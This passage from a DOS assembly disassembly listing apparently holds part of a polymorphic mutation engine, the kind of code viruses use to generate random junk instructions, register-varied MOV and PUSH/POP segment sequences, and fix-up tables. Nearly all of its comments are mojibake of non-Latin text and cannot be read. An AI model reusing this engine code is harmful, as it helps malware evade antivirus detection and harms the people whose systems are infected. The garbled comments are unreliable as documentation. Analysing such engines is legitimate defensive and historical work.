0560 74 09 jz short loc_056B ; Jump if RND = 0
|
|||
|
0562 2E: A1 03D2 mov ax,cs:data_03D2
|
|||
|
0566 2E: 8B 16 03CD mov dx,cs:data_03CD ; <20><><EFBFBD><EFBFBD> = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>।<EFBFBD><E0A5A4> "A"
|
|||
|
056B loc_056B:
|
|||
|
056B 2B C2 sub ax,dx ; AX = ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
056D 2D 0003 sub ax,3 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>室<EFBFBD> (<28><>室<EFBFBD>)
|
|||
|
0570 77 03 ja short loc_0575 ; <20><><EFBFBD><EFBFBD>室 <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D> <20><><EFBFBD><EFBFBD>
|
|||
|
0572 B8 0001 mov ax,1 ; <20><><EFBFBD>쪮 <20><><EFBFBD><EFBFBD>(!). <20><><EFBFBD> <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0575 loc_0575:
|
|||
|
; <20><>।<EFBFBD><E0A5A4>塞 <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠ <20> <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0575 E8 FDD0 call RND_0_AX
|
|||
|
0578 03 C2 add ax,dx ; AX = <20><><EFBFBD><EFBFBD> + <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> ᬥ饭<E1ACA5><E9A5AD>
|
|||
|
057A loc_057A:
|
|||
|
057A 9C pushf ; Push flags
|
|||
|
057B 2B C3 sub ax,bx ; AX = <20>⭮<EFBFBD><E2ADAE>⥫쭮<E2A5AB> ᬥ饭<E1ACA5><E9A5AD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠ <20><><EFBFBD><EFBFBD>
|
|||
|
057D 89 47 FE mov [bx-2],ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⮣<EFBFBD> ᬥ饭<E1ACA5><E9A5AD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>室<EFBFBD>
|
|||
|
0580 03 D8 add bx,ax ; BX = <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><>ଠ<EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD> : dw - ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD>⪠ (=00 - Mark-end <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
; dw - <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠
|
|||
|
; N*db - <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
0582 loc_0582:
|
|||
|
0582 2E: 89 3E 04E3 mov cs:data_04E3,di
|
|||
|
0587 33 C0 xor ax,ax ; Zero register
|
|||
|
; <20><><EFBFBD>砫<EFBFBD> <20><><EFBFBD>⠥<EFBFBD> <20><><EFBFBD> ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD>⪠ <20>㫥<EFBFBD><E3ABA5><EFBFBD> (<28>⮦<EFBFBD> <20> <20><><EFBFBD>砥 ᢥ<><E1A2A5>뢠<EFBFBD><EBA2A0><EFBFBD>
|
|||
|
; ࠡ<><E0A0A1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <><EFA2AB><EFBFBD><EFBFBD><EFBFBD> Mark-end'<27><> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0589 AB stosw ; Store ax to es:[di]
|
|||
|
058A 8B C3 mov ax,bx
|
|||
|
; <20><><EFBFBD><EFBFBD>襬 <20><><EFBFBD><EFBFBD><EFBFBD> <20><>砫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㥬<EFBFBD><E3A5AC><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
058C AB stosw ; Store ax to es:[di]
|
|||
|
058D 9D popf ; Pop flags
|
|||
|
058E 73 0E jnc short loc_ret_059E ; Jump if CF=0
|
|||
|
;------------------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>蠥<EFBFBD> ࠡ<><E0A0A1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䭮<EFBFBD><E4ADAE> <20><>堭<EFBFBD><E5A0AD><EFBFBD><EFBFBD>
|
|||
|
;------------------------------------------------------------------------
|
|||
|
0590 2E: 8B 3E 0A03 mov di,cs:data_0A03
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Mark-end <20> MEM-<2D><><EFBFBD><EFBFBD>
|
|||
|
0595 B4 FF mov ah,0FFh
|
|||
|
0597 AB stosw ; Store ax to es:[di]
|
|||
|
0598 BC 00EC mov sp,1111h ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⥪
|
|||
|
data_0599 = word ptr $ - 2
|
|||
|
059B B8 4000 mov ax,1111h ; AX = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
; <20> <20><><EFBFBD><EFBFBD>ᮬ
|
|||
|
data_059C = word ptr $ - 2
|
|||
|
059E loc_ret_059E:
|
|||
|
059E C3 retn
|
|||
|
sub_042E endp
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; SUBROUTINE
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
059F loc_059F:
|
|||
|
059F 80 FA 8E cmp dl,8Eh ; cmd MOV SEG, r/m
|
|||
|
05A2 9C pushf ; Push flags
|
|||
|
05A3 B0 00 mov al,0
|
|||
|
05A5 74 03 jz short loc_05AA ; Jump if zero
|
|||
|
05A7 E8 FD9B call RND_01 ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
05AA loc_05AA:
|
|||
|
05AA E8 009C call sub_0649 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
05AD 92 xchg dx,ax
|
|||
|
05AE E8 FD80 call RND_0_FF ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
05B1 9D popf ; Pop flags
|
|||
|
05B2 75 13 jnz short loc_05C7 ; Jump if not zero
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
05B4 24 C7 and al,11000111b ; <20>모<EFBFBD>뢠<EFBFBD><EBA2A0> REG <20><><EFBFBD><EFBFBD>
|
|||
|
05B6 50 push ax
|
|||
|
05B7 E8 FD8B call RND_01
|
|||
|
05BA 58 pop ax
|
|||
|
05BB 74 0A jz short loc_05C7 ; Jump if zero
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
05BD 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> DS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
05C3 74 02 je short loc_05C7 ; Jump if NO
|
|||
|
05C5 0C 18 or al,00011000b ; <20> <20><>, <20><> { cmd MOV DS, r/m }
|
|||
|
05C7 loc_05C7:
|
|||
|
05C7 D0 EA shr dl,1 ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
05C9 73 0F jnc short loc_05DA ; Jump if <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20> <20><><EFBFBD>砥 <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20> 16-<2D><> <20><><EFBFBD><EFBFBD>묨 ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD> <20>㦭<EFBFBD> <20>⪨<EFBFBD><E2AAA8><EFBFBD><EFBFBD> SP
|
|||
|
05CB loc_05CB:
|
|||
|
05CB F9 stc ; Set carry flag
|
|||
|
05CC 9C pushf ; Push flags
|
|||
|
05CD 8A E0 mov ah,al
|
|||
|
05CF 80 E4 38 and ah,00111000b ; <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> REG
|
|||
|
05D2 80 FC 20 cmp ah,00100000b
|
|||
|
05D5 75 02 jne short loc_05D9 ; Jump if not equal
|
|||
|
05D7 0C 08 or al,00001000b ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP <20><><EFBFBD><EFBFBD>⠢<EFBFBD>塞 BP
|
|||
|
05D9 loc_05D9:
|
|||
|
05D9 9D popf ; Pop flags
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; * <20><><EFBFBD><EFBFBD><EFBFBD>ઠ <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨 *
|
|||
|
05DA loc_05DA:
|
|||
|
05DA 9F lahf ; Load ah from flags
|
|||
|
05DB E8 006D call Write_byte
|
|||
|
05DE A8 C0 test al,11000000b ; <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD><EFBFBD> MOD
|
|||
|
05E0 75 35 jnz short loc_0617 ; Jump if MOD <> 00
|
|||
|
05E2 24 07 and al,00000111b ; <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD><EFBFBD> R/M
|
|||
|
05E4 3C 06 cmp al,00000110b ; <20> R/M = 110 (<28>.<2E>. disp16)
|
|||
|
; <20><> <20><>室
|
|||
|
05E6 74 48 je short loc_0630 ; Jump if equal
|
|||
|
05E8 9E sahf ; Store ah into flags
|
|||
|
05E9 73 2B jnc short loc_ret_0616 ; Jump if carry=0
|
|||
|
;--------------- <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⨯<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ----------------------------------
|
|||
|
05EB 54 push sp
|
|||
|
05EC 5A pop dx
|
|||
|
05ED 3B D4 cmp dx,sp
|
|||
|
05EF 75 25 jne short loc_ret_0616 ; Jump if <20><> 286
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
05F1 3C 07 cmp al,00000111b
|
|||
|
05F3 B4 04 mov ah,4
|
|||
|
05F5 74 0A jz short loc_0601 ; Jump if zero
|
|||
|
05F7 3C 04 cmp al,00000100b
|
|||
|
05F9 72 1B jb short loc_ret_0616 ; Jump if below
|
|||
|
05FB B4 01 mov ah,1
|
|||
|
05FD 74 02 jz short loc_0601 ; Jump if zero
|
|||
|
05FF B4 03 mov ah,3
|
|||
|
0601 loc_0601:
|
|||
|
0601 28 67 FF sub [bx-1],ah
|
|||
|
0604 E8 FD2A call RND_0_FF ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㥬 <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
0607 24 C0 and al,11000000b ; <20>뤥<EFBFBD>塞 MOD
|
|||
|
; <20>᪫<EFBFBD><E1AAAB><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><E0AEA2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (MOD=11)
|
|||
|
0609 3C C0 cmp al,11000000b ; MOD = 11 ?
|
|||
|
060B 75 02 jne short loc_060F ; Jump if no
|
|||
|
060D B0 80 mov al,10000000b ; ᤥ<><E1A4A5><EFBFBD><EFBFBD> MOD = 10
|
|||
|
060F loc_060F:
|
|||
|
060F 08 47 FF or [bx-1],al
|
|||
|
0612 0A C0 or al,al ; Zero ?
|
|||
|
0614 75 01 jnz short loc_0617 ; Jump if not zero
|
|||
|
|
|||
|
0616 loc_ret_0616:
|
|||
|
0616 C3 retn
|
|||
|
0617 loc_0617:
|
|||
|
0617 24 C0 and al,11000000b ; <20>뤥<EFBFBD>塞 MOD
|
|||
|
0619 3C 40 cmp al,40h
|
|||
|
061B 75 0F jne short loc_062C ; Jump if not equal
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 286+, <20><> <20><> <><E1ABA5><EFBFBD><EFBFBD> <20><><EFBFBD>室<EFBFBD><E5AEA4><EFBFBD> <20> <20>࠭<EFBFBD><E0A0AD><EFBFBD> ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
061D loc_061D:
|
|||
|
061D 54 push sp
|
|||
|
061E 58 pop ax
|
|||
|
061F 3B C4 cmp ax,sp
|
|||
|
0621 B8 00FF mov ax,0FFh
|
|||
|
0624 74 01 jz short loc_0627 ; Jump if zero
|
|||
|
0626 40 inc ax
|
|||
|
0627 loc_0627:
|
|||
|
0627 E8 FD1E call RND_0_AX
|
|||
|
062A EB 1F jmp short loc_064B
|
|||
|
062C loc_062C:
|
|||
|
062C 3C 80 cmp al,80h
|
|||
|
062E 75 10 jne short loc_ret_0640 ; Jump if not equal
|
|||
|
;===================IM16===================================================
|
|||
|
0630 loc_0630:
|
|||
|
0630 B8 FFFF mov ax,0FFFFh
|
|||
|
0633 E8 FD12 call RND_0_AX
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
Write_word proc near
|
|||
|
0636 loc_0636:
|
|||
|
0636 E8 0012 call Write_byte
|
|||
|
0639 86 E0 xchg ah,al
|
|||
|
063B E8 000D call Write_byte
|
|||
|
063E 86 C4 xchg al,ah
|
|||
|
|
|||
|
0640 loc_ret_0640:
|
|||
|
0640 C3 retn
|
|||
|
Write_word endp
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; SUBROUTINE
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
sub_0641 proc near
|
|||
|
0641 E8 FCF8 call RND_01234567 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD>
|
|||
|
0644 3C 04 cmp al,4 ; <20> SP, <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0646 75 01 jne short loc_0649 ; Jump if not equal
|
|||
|
0648 40 inc ax
|
|||
|
sub_0649:
|
|||
|
0649 loc_0649:
|
|||
|
0649 0A C2 or al,dl ; OP or REG
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᭥<><E1ADA5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; DI - ⥪<>饥 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; BX - 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>塞<EFBFBD><EFA5AC><EFBFBD> <20><><EFBFBD><EFBFBD>⪠
|
|||
|
;==============================================================================
|
|||
|
Write_byte:
|
|||
|
064B loc_064B:
|
|||
|
064B 50 push ax
|
|||
|
064C 86 07 xchg [bx],al
|
|||
|
064E AA stosb ; Store al to es:[di]
|
|||
|
064F 58 pop ax
|
|||
|
0650 43 inc bx ; <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0651 2E: FF 06 09E0 inc cs:BytesWrittenCounter ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢠ ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
; <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⮢
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䭮<EFBFBD><E4ADAE> "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
|
|||
|
0656 56 push si
|
|||
|
0657 2E: 8B 36 04E3 mov si,cs:data_04E3
|
|||
|
065C FF 04 inc word ptr [si]
|
|||
|
065E 5E pop si
|
|||
|
065F C3 retn
|
|||
|
sub_0641 endp
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20><><EFBFBD>䬥<EFBFBD><E4ACA5><EFBFBD><EFBFBD>᪨<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><> ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD> ⨯<> <20><><EFBFBD> REG,r/m <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> data_0A43
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
sub_0660 proc near
|
|||
|
0660 B8 000C mov ax,0Ch
|
|||
|
0663 E8 FCE2 call RND_0_AX ; AX = 00..0Bh
|
|||
|
0666 96 xchg si,ax
|
|||
|
0667 2E: 8A 94 0A43 mov dl,cs:data_0A43[si]
|
|||
|
066C E9 FF30 jmp loc_059F
|
|||
|
sub_0660 endp
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD><EFBFBD><EFBFBD>뫪<EFBFBD> <20> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
sub_066F proc near
|
|||
|
066F B2 B8 mov dl,0B8h ; cmd MOV REG,IM16
|
|||
|
0671 E8 FCD1 call RND_01
|
|||
|
0674 75 05 jnz short loc_067B ; Jump if not zero
|
|||
|
0676 E8 FFC8 call sub_0641
|
|||
|
0679 EB B5 jmp short loc_0630
|
|||
|
067B loc_067B:
|
|||
|
067B E8 FCBE call RND_01234567 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD>
|
|||
|
067E 0C B0 or al,0B0h
|
|||
|
0680 E8 FFC8 call Write_byte ; cmd MOV REG,IM8
|
|||
|
0683 loc_0683:
|
|||
|
0683 EB 98 jmp short loc_061D
|
|||
|
sub_066F endp
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20><><EFBFBD>䬥<EFBFBD><E4ACA5><EFBFBD><EFBFBD>᪨<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD> ॣ<><E0A5A3><EFBFBD> AX(AL) <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> data_0A4F
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
sub_0685 proc near
|
|||
|
0685 B8 000A mov ax,0Ah
|
|||
|
0688 E8 FCBD call RND_0_AX ; AX = 00..09
|
|||
|
068B 96 xchg si,ax
|
|||
|
068C E8 FCB6 call RND_01 ; <20>롨ࠥ<EBA1A8> <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
068F 2E: 0A 84 0A4F or al,cs:data_0A4F[si]
|
|||
|
0694 E8 FFB4 call Write_byte
|
|||
|
0697 0B F6 or si,si ; Zero ?
|
|||
|
0699 74 06 jz short loc_06A1 ; Jump if zero
|
|||
|
069B D0 E8 shr al,1 ; <20><><EFBFBD>ࠫ<EFBFBD> <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
069D 72 02 jc short loc_06A1 ; Jump if carry Set
|
|||
|
069F EB E2 jmp short loc_0683
|
|||
|
06A1 loc_06A1:
|
|||
|
06A1 EB 8D jmp short loc_0630
|
|||
|
sub_0685 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20> ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD>묨 ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD> Prefix, PUSH SEGREG, POP SEGERG
|
|||
|
;==============================================================================
|
|||
|
sub_06A3 proc near
|
|||
|
06A3 E8 FC9C call RND_012 ; <20><><EFBFBD><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
; =0 - ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>䨪<EFBFBD>
|
|||
|
; =1 - <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20>㦭<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> POP
|
|||
|
; =2 - PUSH ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD>
|
|||
|
06A6 B2 26 mov dl,26h ; SEG Prefix (ES:,DS:,CS:,SS:)
|
|||
|
06A8 74 0A jz short loc_06B4 ; Jump if zero
|
|||
|
06AA B2 06 mov dl,6 ; PUSH SEG_REG (ES/DS/CS/SS)
|
|||
|
06AC 48 dec ax
|
|||
|
06AD 74 0E jz short loc_06BD ; Jump if zero
|
|||
|
06AF loc_06AF:
|
|||
|
06AF 2E: FF 06 06BE inc cs:StackCounter ; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PUSH, <20><> <20><><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD><EFBFBD> <><E1ABAE> <20> <20><><EFBFBD><EFBFBD>稪 <20>⥪<EFBFBD>
|
|||
|
06B4 loc_06B4:
|
|||
|
06B4 E8 FC88 call RND_0123 ; <20>롨ࠥ<EBA1A8> ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD>
|
|||
|
06B7 B1 03 mov cl,3
|
|||
|
06B9 D2 E0 shl al,cl ; Shift w/zeros fill
|
|||
|
06BB EB 8C jmp short loc_0649
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
06BD loc_06BD:
|
|||
|
06BD B8 0009 mov ax,1111h
|
|||
|
StackCounter = word ptr $-2
|
|||
|
06C0 2E: 3B 06 06F3 cmp ax,cs:data_06F3 ; <20><><EFBFBD><EFBFBD> <20><> <20> ⥪<>饩 <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20> <20>⥪<EFBFBD> ?
|
|||
|
06C5 74 E8 je loc_06AF ; <20><><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <><E1ABAE>
|
|||
|
;----------------------------------------------; <20><>. <20><><EFBFBD><EFBFBD><EFBFBD> ᭨<><E1ADA8><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> ---
|
|||
|
06C7 42 inc dx ; cmd POP ES
|
|||
|
06C8 2E: FF 0E 06BE dec cs:StackCounter ; <20><><EFBFBD><EFBFBD><EFBFBD> <><E1ABAE> <20><> <20><><EFBFBD><EFBFBD>稪<EFBFBD> <20>⥪<EFBFBD>
|
|||
|
06CD 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD> DS ?
|
|||
|
06D3 74 07 je short loc_06DC ; Jump if NO
|
|||
|
06D5 E8 FC6D call RND_01 ; <20><><EFBFBD> <20><><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD> <20><><EFBFBD> ?
|
|||
|
06D8 74 02 jz short loc_06DC ; Jump if RND=0
|
|||
|
06DA B2 1F mov dl,1Fh ; cmd POP DS
|
|||
|
06DC loc_06DC:
|
|||
|
06DC 92 xchg dx,ax
|
|||
|
06DD loc_06DD:
|
|||
|
06DD E9 FF6B jmp loc_064B
|
|||
|
sub_06A3 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> data_0A5D
|
|||
|
; <20>ਬ<EFBFBD>砭<EFBFBD><E7A0AD>: data_06F3 - <20><><EFBFBD> <20>㫥<EFBFBD><E3ABA5><EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> 㪠<>뢠<EFBFBD><EBA2A0> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>ᢨ<EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3>
|
|||
|
; - <20><><EFBFBD> <20><><EFBFBD>㫥<EFBFBD><E3ABA5><EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> 㪠<>뢠<EFBFBD><EBA2A0> <20><> <20><><EFBFBD><EFBFBD>稥
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3> <20> ᮤ<>ন<EFBFBD> <20><><EFBFBD>祭<EFBFBD><E7A5AD>
|
|||
|
; <20><><EFBFBD><EFBFBD>稪<EFBFBD> <20>⥪<EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>⨨ <20><><EFBFBD>।<EFBFBD><E0A5A4><EFBFBD> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
;==============================================================================
|
|||
|
sub_06E0 proc near
|
|||
|
06E0 E8 FC5F call RND_012 ; <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD> 1/2
|
|||
|
06E3 74 06 jz short loc_06EB ; Jump if zero
|
|||
|
06E5 B8 0005 mov ax,5
|
|||
|
06E8 E8 FC5D call RND_0_AX ; AX = 00..04
|
|||
|
06EB loc_06EB:
|
|||
|
06EB 96 xchg si,ax
|
|||
|
06EC 75 10 jnz short loc_06FE ; Jump if not zero
|
|||
|
06EE 2E: A1 06BE mov ax,cs:StackCounter
|
|||
|
06F2 3D 0007 cmp ax,1111h
|
|||
|
data_06F3 = word ptr $ - 2
|
|||
|
06F5 74 06 je short loc_06FD ; Jump if equal
|
|||
|
06F7 2E: FF 0E 06BE dec cs:StackCounter
|
